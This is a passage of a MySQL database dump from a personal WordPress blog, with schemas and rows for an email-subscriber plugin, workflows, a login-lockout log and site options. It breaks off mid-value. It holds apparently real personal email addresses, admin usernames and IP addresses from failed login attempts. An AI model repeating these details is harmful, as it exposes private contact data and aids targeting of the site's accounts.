CREATE TABLE `wp4v_ig_lists_contacts` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `list_id` int(10) NOT NULL,
  `contact_id` int(10) NOT NULL,
  `status` varchar(50) NOT NULL,
  `optin_type` tinyint(4) NOT NULL,
  `subscribed_at` datetime DEFAULT NULL,
  `subscribed_ip` varchar(45) DEFAULT NULL,
  `unsubscribed_at` datetime DEFAULT NULL,
  `unsubscribed_ip` varchar(45) DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `contact_id` (`contact_id`)
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_lists_contacts`
--

LOCK TABLES `wp4v_ig_lists_contacts` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_lists_contacts` DISABLE KEYS */;
INSERT INTO `wp4v_ig_lists_contacts` VALUES
(1,1,1,'subscribed',1,'2021-10-07 15:48:23','',NULL,NULL),
(2,2,1,'subscribed',1,'2021-10-07 15:48:23','',NULL,NULL),
(3,1,2,'subscribed',1,'2021-10-07 15:48:23',NULL,NULL,NULL);
/*!40000 ALTER TABLE `wp4v_ig_lists_contacts` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_mailing_queue`
--

DROP TABLE IF EXISTS `wp4v_ig_mailing_queue`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_mailing_queue` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `hash` varchar(50) NOT NULL,
  `campaign_id` int(10) NOT NULL DEFAULT 0,
  `subject` text DEFAULT '',
  `body` longtext DEFAULT NULL,
  `count` int(10) unsigned NOT NULL DEFAULT 0,
  `status` varchar(10) NOT NULL,
  `start_at` datetime DEFAULT NULL,
  `finish_at` datetime DEFAULT NULL,
  `meta` longtext DEFAULT NULL,
  `created_at` datetime DEFAULT NULL,
  `updated_at` datetime DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `campaign_id` (`campaign_id`)
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_mailing_queue`
--

LOCK TABLES `wp4v_ig_mailing_queue` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_mailing_queue` DISABLE KEYS */;
INSERT INTO `wp4v_ig_mailing_queue` VALUES
(1,'nkguaq-tejwrh-vqpsoz-iftqjm-kxzoem',1,'Welcome To Email Subscribers','<strong style=\"color: #990000\">What can you achieve using Email Subscribers?</strong><p>Add subscription forms on website, send HTML newsletters. You can also Import or Export subscribers from any list to Email Subscribers.</p> <strong style=\"color: #990000\">Plugin Features</strong><ol> <li>Send notification emails to subscribers when new blog posts are published.</li> <li>Subscribe form available with 3 options to setup.</li> <li>Double Opt-In and Single Opt-In support.</li> <li>Email notification to admin when a new user signs up (Optional).</li> <li>Automatic welcome email to subscriber.</li> <li>Auto add unsubscribe link in the email.</li> <li>Import/Export subscriber emails to migrate to any lists.</li> <li>Default WordPress editor to create emails.</li> </ol> <strong>Thanks & Regards,</strong><br/>Admin<br/>',2,'Sent','2021-10-07 15:51:38','2021-10-07 15:51:41',NULL,'2021-10-07 15:48:23','2021-10-07 15:48:23'),
(2,'ujhigq-vadulc-zmsdug-epvfqt-tslanu',1,'Welcome To Email Subscribers','<strong style=\"color: #990000\">What can you achieve using Email Subscribers?</strong><p>Add subscription forms on website, send HTML newsletters. You can also Import or Export subscribers from any list to Email Subscribers.</p> <strong style=\"color: #990000\">Plugin Features</strong><ol> <li>Send notification emails to subscribers when new blog posts are published.</li> <li>Subscribe form available with 3 options to setup.</li> <li>Double Opt-In and Single Opt-In support.</li> <li>Email notification to admin when a new user signs up (Optional).</li> <li>Automatic welcome email to subscriber.</li> <li>Auto add unsubscribe link in the email.</li> <li>Import/Export subscriber emails to migrate to any lists.</li> <li>Default WordPress editor to create emails.</li> </ol> <strong>Thanks & Regards,</strong><br/>Admin<br/>',2,'Sent','2021-10-07 15:48:26','2021-10-07 15:48:27',NULL,'2021-10-07 15:48:23','2021-10-07 15:48:23');
/*!40000 ALTER TABLE `wp4v_ig_mailing_queue` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_queue`
--

DROP TABLE IF EXISTS `wp4v_ig_queue`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_queue` (
  `contact_id` bigint(20) unsigned NOT NULL DEFAULT 0,
  `campaign_id` bigint(20) unsigned NOT NULL DEFAULT 0,
  `requeued` tinyint(1) unsigned NOT NULL DEFAULT 0,
  `added` int(11) unsigned NOT NULL DEFAULT 0,
  `timestamp` int(11) unsigned NOT NULL DEFAULT 0,
  `sent_at` int(11) unsigned NOT NULL DEFAULT 0,
  `priority` tinyint(1) unsigned NOT NULL DEFAULT 0,
  `count` tinyint(1) unsigned NOT NULL DEFAULT 0,
  `error` tinyint(1) unsigned NOT NULL DEFAULT 0,
  `ignore_status` tinyint(1) unsigned NOT NULL DEFAULT 0,
  `options` varchar(191) NOT NULL DEFAULT '',
  `tags` longtext NOT NULL,
  UNIQUE KEY `id` (`contact_id`,`campaign_id`,`requeued`,`options`),
  KEY `contact_id` (`contact_id`),
  KEY `campaign_id` (`campaign_id`),
  KEY `requeued` (`requeued`),
  KEY `timestamp` (`timestamp`),
  KEY `priority` (`priority`),
  KEY `count` (`count`),
  KEY `error` (`error`),
  KEY `ignore_status` (`ignore_status`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_queue`
--

LOCK TABLES `wp4v_ig_queue` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_queue` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_ig_queue` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_sending_queue`
--

DROP TABLE IF EXISTS `wp4v_ig_sending_queue`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_sending_queue` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `mailing_queue_id` int(10) NOT NULL DEFAULT 0,
  `mailing_queue_hash` varchar(50) DEFAULT NULL,
  `campaign_id` int(10) NOT NULL DEFAULT 0,
  `contact_id` int(10) NOT NULL DEFAULT 0,
  `contact_hash` varchar(255) DEFAULT NULL,
  `email` varchar(50) DEFAULT NULL,
  `status` varchar(50) DEFAULT NULL,
  `links` longtext DEFAULT NULL,
  `opened` int(1) DEFAULT NULL,
  `sent_at` datetime DEFAULT NULL,
  `opened_at` datetime DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_sending_queue`
--

LOCK TABLES `wp4v_ig_sending_queue` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_sending_queue` DISABLE KEYS */;
INSERT INTO `wp4v_ig_sending_queue` VALUES
(1,1,'nkguaq-tejwrh-vqpsoz-iftqjm-kxzoem',1,1,'hfjtyd-fvwhse-hlvuby-ylotkh-gmoeqs','klevertree@gmail.com','Sent','',0,'2021-10-07 15:51:40','0000-00-00 00:00:00'),
(2,1,'nkguaq-tejwrh-vqpsoz-iftqjm-kxzoem',1,2,'embhyi-xlgamk-xpzirg-njyzdl-tfupzy','trevor@highwaypharm.com','Sent','',0,'2021-10-07 15:51:41','0000-00-00 00:00:00'),
(3,2,'ujhigq-vadulc-zmsdug-epvfqt-tslanu',1,1,'hfjtyd-fvwhse-hlvuby-ylotkh-gmoeqs','klevertree@gmail.com','Sent','',0,'2021-10-07 15:48:27','0000-00-00 00:00:00'),
(4,2,'ujhigq-vadulc-zmsdug-epvfqt-tslanu',1,2,'embhyi-xlgamk-xpzirg-njyzdl-tfupzy','trevor@highwaypharm.com','Sent','',0,'2021-10-07 15:48:27','0000-00-00 00:00:00');
/*!40000 ALTER TABLE `wp4v_ig_sending_queue` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_temp_import`
--

DROP TABLE IF EXISTS `wp4v_ig_temp_import`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_temp_import` (
  `ID` bigint(20) NOT NULL AUTO_INCREMENT,
  `data` longtext NOT NULL,
  `identifier` char(13) NOT NULL,
  PRIMARY KEY (`ID`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_temp_import`
--

LOCK TABLES `wp4v_ig_temp_import` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_temp_import` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_ig_temp_import` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_unsubscribe_feedback`
--

DROP TABLE IF EXISTS `wp4v_ig_unsubscribe_feedback`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_unsubscribe_feedback` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `contact_id` int(10) unsigned NOT NULL,
  `list_id` int(10) unsigned NOT NULL,
  `campaign_id` int(10) unsigned NOT NULL,
  `mailing_queue_id` int(10) unsigned NOT NULL,
  `feedback_slug` varchar(50) NOT NULL,
  `feedback_text` varchar(500) NOT NULL,
  `created_at` datetime DEFAULT NULL,
  `updated_at` datetime DEFAULT NULL,
  `meta` longtext DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_unsubscribe_feedback`
--

LOCK TABLES `wp4v_ig_unsubscribe_feedback` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_unsubscribe_feedback` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_ig_unsubscribe_feedback` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_wc_cart`
--

DROP TABLE IF EXISTS `wp4v_ig_wc_cart`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_wc_cart` (
  `id` bigint(20) NOT NULL AUTO_INCREMENT,
  `status` varchar(100) NOT NULL DEFAULT '',
  `user_id` bigint(20) NOT NULL DEFAULT 0,
  `guest_id` bigint(20) NOT NULL DEFAULT 0,
  `last_modified` datetime DEFAULT NULL,
  `created` datetime DEFAULT NULL,
  `items` longtext NOT NULL DEFAULT '',
  `coupons` longtext NOT NULL DEFAULT '',
  `fees` longtext NOT NULL DEFAULT '',
  `shipping_tax_total` double NOT NULL DEFAULT 0,
  `shipping_total` double NOT NULL DEFAULT 0,
  `total` double NOT NULL DEFAULT 0,
  `token` varchar(32) NOT NULL DEFAULT '',
  `currency` varchar(8) NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `status` (`status`),
  KEY `user_id` (`user_id`),
  KEY `guest_id` (`guest_id`),
  KEY `last_modified` (`last_modified`),
  KEY `created` (`created`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_wc_cart`
--

LOCK TABLES `wp4v_ig_wc_cart` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_wc_cart` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_ig_wc_cart` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_wc_guests`
--

DROP TABLE IF EXISTS `wp4v_ig_wc_guests`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_wc_guests` (
  `id` bigint(20) NOT NULL AUTO_INCREMENT,
  `email` varchar(255) NOT NULL DEFAULT '',
  `tracking_key` varchar(32) NOT NULL DEFAULT '',
  `created` datetime DEFAULT NULL,
  `last_active` datetime DEFAULT NULL,
  `meta` longtext NOT NULL,
  `language` varchar(10) NOT NULL DEFAULT '',
  `most_recent_order` bigint(20) NOT NULL DEFAULT 0,
  `version` bigint(20) NOT NULL DEFAULT 0,
  PRIMARY KEY (`id`),
  KEY `tracking_key` (`tracking_key`),
  KEY `email` (`email`(191)),
  KEY `most_recent_order` (`most_recent_order`),
  KEY `version` (`version`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_wc_guests`
--

LOCK TABLES `wp4v_ig_wc_guests` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_wc_guests` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_ig_wc_guests` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_workflows`
--

DROP TABLE IF EXISTS `wp4v_ig_workflows`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_workflows` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) DEFAULT NULL,
  `title` varchar(255) DEFAULT NULL,
  `trigger_name` varchar(250) NOT NULL,
  `trigger_options` longtext NOT NULL,
  `rules` longtext NOT NULL,
  `actions` longtext NOT NULL,
  `status` tinyint(4) NOT NULL,
  `type` tinyint(4) NOT NULL,
  `priority` int(11) DEFAULT 0,
  `meta` longtext NOT NULL,
  `created_at` datetime DEFAULT NULL,
  `updated_at` datetime DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_workflows`
--

LOCK TABLES `wp4v_ig_workflows` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_workflows` DISABLE KEYS */;
INSERT INTO `wp4v_ig_workflows` VALUES
(1,'user-registered','User Registered','ig_es_user_registered','','','a:1:{i:0;a:2:{s:11:\"action_name\";s:17:\"ig_es_add_to_list\";s:10:\"ig-es-list\";i:2;}}',0,0,0,'a:1:{s:11:\"when_to_run\";s:11:\"immediately\";}','2021-10-07 15:48:23','0000-00-00 00:00:00');
/*!40000 ALTER TABLE `wp4v_ig_workflows` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_ig_workflows_queue`
--

DROP TABLE IF EXISTS `wp4v_ig_workflows_queue`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_ig_workflows_queue` (
  `id` bigint(20) NOT NULL AUTO_INCREMENT,
  `workflow_id` bigint(20) DEFAULT NULL,
  `failed` int(1) NOT NULL DEFAULT 0,
  `failure_code` int(3) NOT NULL DEFAULT 0,
  `meta` longtext NOT NULL,
  `scheduled_at` datetime DEFAULT NULL,
  `created_at` datetime DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_ig_workflows_queue`
--

LOCK TABLES `wp4v_ig_workflows_queue` WRITE;
/*!40000 ALTER TABLE `wp4v_ig_workflows_queue` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_ig_workflows_queue` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_links`
--

DROP TABLE IF EXISTS `wp4v_links`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_links` (
  `link_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `link_url` varchar(255) NOT NULL DEFAULT '',
  `link_name` varchar(255) NOT NULL DEFAULT '',
  `link_image` varchar(255) NOT NULL DEFAULT '',
  `link_target` varchar(25) NOT NULL DEFAULT '',
  `link_description` varchar(255) NOT NULL DEFAULT '',
  `link_visible` varchar(20) NOT NULL DEFAULT 'Y',
  `link_owner` bigint(20) unsigned NOT NULL DEFAULT 1,
  `link_rating` int(11) NOT NULL DEFAULT 0,
  `link_updated` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `link_rel` varchar(255) NOT NULL DEFAULT '',
  `link_notes` mediumtext NOT NULL,
  `link_rss` varchar(255) NOT NULL DEFAULT '',
  PRIMARY KEY (`link_id`),
  KEY `link_visible` (`link_visible`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_links`
--

LOCK TABLES `wp4v_links` WRITE;
/*!40000 ALTER TABLE `wp4v_links` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_links` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_loginizer_logs`
--

DROP TABLE IF EXISTS `wp4v_loginizer_logs`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_loginizer_logs` (
  `username` varchar(255) NOT NULL DEFAULT '',
  `time` int(10) NOT NULL DEFAULT 0,
  `count` int(10) NOT NULL DEFAULT 0,
  `lockout` int(10) NOT NULL DEFAULT 0,
  `ip` varchar(255) NOT NULL DEFAULT '',
  `url` varchar(255) NOT NULL DEFAULT '',
  UNIQUE KEY `ip` (`ip`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_loginizer_logs`
--

LOCK TABLES `wp4v_loginizer_logs` WRITE;
/*!40000 ALTER TABLE `wp4v_loginizer_logs` DISABLE KEYS */;
INSERT INTO `wp4v_loginizer_logs` VALUES
('trevorkl',1789390056,3,1,'122.183.57.7','https://trevorklee.com/xmlrpc.php'),
('admin',1789389182,3,1,'156.217.29.202','https://trevorklee.com/xmlrpc.php'),
('admin',1789388738,3,1,'180.252.89.197','https://trevorklee.com/xmlrpc.php'),
('admin',1789393827,3,1,'223.228.154.155','https://trevorklee.com/xmlrpc.php'),
('trevorkl',1789389672,3,1,'49.43.116.77','https://trevorklee.com/xmlrpc.php'),
('trevorkl',1789395298,3,1,'87.121.26.80','https://trevorklee.com/xmlrpc.php');
/*!40000 ALTER TABLE `wp4v_loginizer_logs` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_options`
--

DROP TABLE IF EXISTS `wp4v_options`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_options` (
  `option_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `option_name` varchar(191) NOT NULL DEFAULT '',
  `option_value` longtext NOT NULL,
  `autoload` varchar(20) NOT NULL DEFAULT 'yes',
  PRIMARY KEY (`option_id`),
  UNIQUE KEY `option_name` (`option_name`),
  KEY `autoload` (`autoload`)
) ENGINE=InnoDB AUTO_INCREMENT=345681 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_options`
--

LOCK TABLES `wp4v_options` WRITE;
/*!40000 ALTER TABLE `wp4v_options` DISABLE KEYS */;
INSERT INTO `wp4v_options` VALUES
(1,'siteurl','https://trevorklee.com','yes'),
(2,'home','https://trevorklee.com','yes'),
(3,'blogname','Trevor Klee','yes'),
(4,'blogdescription','The Life, Times, and Thoughts of Trevor Klee','yes'),
(5,'users_can_register','0','yes'),
(6,'admin_email','klevertree@gmail.com','yes'),
(7,'start_of_week','1','yes'),
(8,'use_balanceTags','0','yes'),
(9,'use_smilies','1','yes'),
(10,'require_name_email','1','yes'),
(11,'comments_notify','1','yes'),
(12,'posts_per_rss','10','yes'),
(13,'rss_use_excerpt','0','yes'),
(14,'mailserver_url','mail.example.com','yes'),
(15,'mailserver_login','login@example.com','yes'),
(16,'mailserver_pass','password','yes'),
(17,'mailserver_port','110','yes'),
(18,'default_category','1','yes'),
(19,'default_comment_status','open','yes'),
(20,'default_ping_status','open','yes'),
(21,'default_pingback_flag','1','yes'),
(22,'posts_per_page','10','yes'),
(23,'date_format','F j, Y','yes'),
(24,'time_format','g:i a','yes'),
(25,'links_updated_date_format','F j, Y g:i a','yes'),
(26,'comment_moderation','0','yes'),
(27,'moderation_notify','1','yes'),
(28,'permalink_structure','/%year%/%monthnum%/%day%/%postname%/','yes'),
(29,'rewrite_rules','a:98:{s:11:\"^wp-json/?$\";s:22:\"index.php?rest_route=/\";s:14:\"^wp-json/(.*)?\";s:33:\"index.php?rest_route=/$matches[1]\";s:21:\"^index.php/wp-json/?$\";s:22:\"index.php?rest_route=/\";s:24:\"^index.php/wp-json/(.*)?\";s:33:\"index.php?rest_route=/$matches[1]\";s:17:\"^wp-sitemap\\.xml$\";s:23:\"index.php?sitemap=index\";s:17:\"^wp-sitemap\\.xsl$\";s:36:\"index.php?sitemap-stylesheet=sitemap\";s:23:\"^wp-sitemap-index\\.xsl$\";s:34:\"index.php?sitemap-stylesheet=index\";s:48:\"^wp-sitemap-([a-z]+?)-([a-z\\d_-]+?)-(\\d+?)\\.xml$\";s:75:\"index.php?sitemap=$matches[1]&sitemap-subtype=$matches[2]&paged=$matches[3]\";s:34:\"^wp-sitemap-([a-z]+?)-(\\d+?)\\.xml$\";s:47:\"index.php?sitemap=$matches[1]&paged=$matches[2]\";s:47:\"category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:52:\"index.php?category_name=$matches[1]&feed=$matches[2]\";s:42:\"category/(.+?)/(feed|rdf|rss|rss2|atom)/?$\";s:52:\"index.php?category_name=$matches[1]&feed=$matches[2]\";s:23:\"category/(.+?)/embed/?$\";s:46:\"index.php?category_name=$matches[1]&embed=true\";s:35:\"category/(.+?)/page/?([0-9]{1,})/?$\";s:53:\"index.php?category_name=$matches[1]&paged=$matches[2]\";s:17:\"category/(.+?)/?$\";s:35:\"index.php?category_name=$matches[1]\";s:44:\"tag/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:42:\"index.php?tag=$matches[1]&feed=$matches[2]\";s:39:\"tag/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:42:\"index.php?tag=$matches[1]&feed=$matches[2]\";s:20:\"tag/([^/]+)/embed/?$\";s:36:\"index.php?tag=$matches[1]&embed=true\";s:32:\"tag/([^/]+)/page/?([0-9]{1,})/?$\";s:43:\"index.php?tag=$matches[1]&paged=$matches[2]\";s:14:\"tag/([^/]+)/?$\";s:25:\"index.php?tag=$matches[1]\";s:45:\"type/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:50:\"index.php?post_format=$matches[1]&feed=$matches[2]\";s:40:\"type/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:50:\"index.php?post_format=$matches[1]&feed=$matches[2]\";s:21:\"type/([^/]+)/embed/?$\";s:44:\"index.php?post_format=$matches[1]&embed=true\";s:33:\"type/([^/]+)/page/?([0-9]{1,})/?$\";s:51:\"index.php?post_format=$matches[1]&paged=$matches[2]\";s:15:\"type/([^/]+)/?$\";s:33:\"index.php?post_format=$matches[1]\";s:12:\"robots\\.txt$\";s:18:\"index.php?robots=1\";s:13:\"favicon\\.ico$\";s:19:\"index.php?favicon=1\";s:12:\"sitemap\\.xml\";s:23:\"index.php?sitemap=index\";s:48:\".*wp-(atom|rdf|rss|rss2|feed|commentsrss2)\\.php$\";s:18:\"index.php?feed=old\";s:20:\".*wp-app\\.php(/.*)?$\";s:19:\"index.php?error=403\";s:18:\".*wp-register.php$\";s:23:\"index.php?register=true\";s:32:\"feed/(feed|rdf|rss|rss2|atom)/?$\";s:27:\"index.php?&feed=$matches[1]\";s:27:\"(feed|rdf|rss|rss2|atom)/?$\";s:27:\"index.php?&feed=$matches[1]\";s:8:\"embed/?$\";s:21:\"index.php?&embed=true\";s:20:\"page/?([0-9]{1,})/?$\";s:28:\"index.php?&paged=$matches[1]\";s:27:\"comment-page-([0-9]{1,})/?$\";s:39:\"index.php?&page_id=27&cpage=$matches[1]\";s:41:\"comments/feed/(feed|rdf|rss|rss2|atom)/?$\";s:42:\"index.php?&feed=$matches[1]&withcomments=1\";s:36:\"comments/(feed|rdf|rss|rss2|atom)/?$\";s:42:\"index.php?&feed=$matches[1]&withcomments=1\";s:17:\"comments/embed/?$\";s:21:\"index.php?&embed=true\";s:44:\"search/(.+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:40:\"index.php?s=$matches[1]&feed=$matches[2]\";s:39:\"search/(.+)/(feed|rdf|rss|rss2|atom)/?$\";s:40:\"index.php?s=$matches[1]&feed=$matches[2]\";s:20:\"search/(.+)/embed/?$\";s:34:\"index.php?s=$matches[1]&embed=true\";s:32:\"search/(.+)/page/?([0-9]{1,})/?$\";s:41:\"index.php?s=$matches[1]&paged=$matches[2]\";s:14:\"search/(.+)/?$\";s:23:\"index.php?s=$matches[1]\";s:47:\"author/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:50:\"index.php?author_name=$matches[1]&feed=$matches[2]\";s:42:\"author/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:50:\"index.php?author_name=$matches[1]&feed=$matches[2]\";s:23:\"author/([^/]+)/embed/?$\";s:44:\"index.php?author_name=$matches[1]&embed=true\";s:35:\"author/([^/]+)/page/?([0-9]{1,})/?$\";s:51:\"index.php?author_name=$matches[1]&paged=$matches[2]\";s:17:\"author/([^/]+)/?$\";s:33:\"index.php?author_name=$matches[1]\";s:69:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:80:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]\";s:64:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$\";s:80:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]\";s:45:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/embed/?$\";s:74:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&embed=true\";s:57:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/page/?([0-9]{1,})/?$\";s:81:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&paged=$matches[4]\";s:39:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/?$\";s:63:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]\";s:56:\"([0-9]{4})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:64:\"index.php?year=$matches[1]&monthnum=$matches[2]&feed=$matches[3]\";s:51:\"([0-9]{4})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$\";s:64:\"index.php?year=$matches[1]&monthnum=$matches[2]&feed=$matches[3]\";s:32:\"([0-9]{4})/([0-9]{1,2})/embed/?$\";s:58:\"index.php?year=$matches[1]&monthnum=$matches[2]&embed=true\";s:44:\"([0-9]{4})/([0-9]{1,2})/page/?([0-9]{1,})/?$\";s:65:\"index.php?year=$matches[1]&monthnum=$matches[2]&paged=$matches[3]\";s:26:\"([0-9]{4})/([0-9]{1,2})/?$\";s:47:\"index.php?year=$matches[1]&monthnum=$matches[2]\";s:43:\"([0-9]{4})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:43:\"index.php?year=$matches[1]&feed=$matches[2]\";s:38:\"([0-9]{4})/(feed|rdf|rss|rss2|atom)/?$\";s:43:\"index.php?year=$matches[1]&feed=$matches[2]\";s:19:\"([0-9]{4})/embed/?$\";s:37:\"index.php?year=$matches[1]&embed=true\";s:31:\"([0-9]{4})/page/?([0-9]{1,})/?$\";s:44:\"index.php?year=$matches[1]&paged=$matches[2]\";s:13:\"([0-9]{4})/?$\";s:26:\"index.php?year=$matches[1]\";s:58:\"[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/?$\";s:32:\"index.php?attachment=$matches[1]\";s:68:\"[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/trackback/?$\";s:37:\"index.php?attachment=$matches[1]&tb=1\";s:88:\"[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:83:\"[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:83:\"[0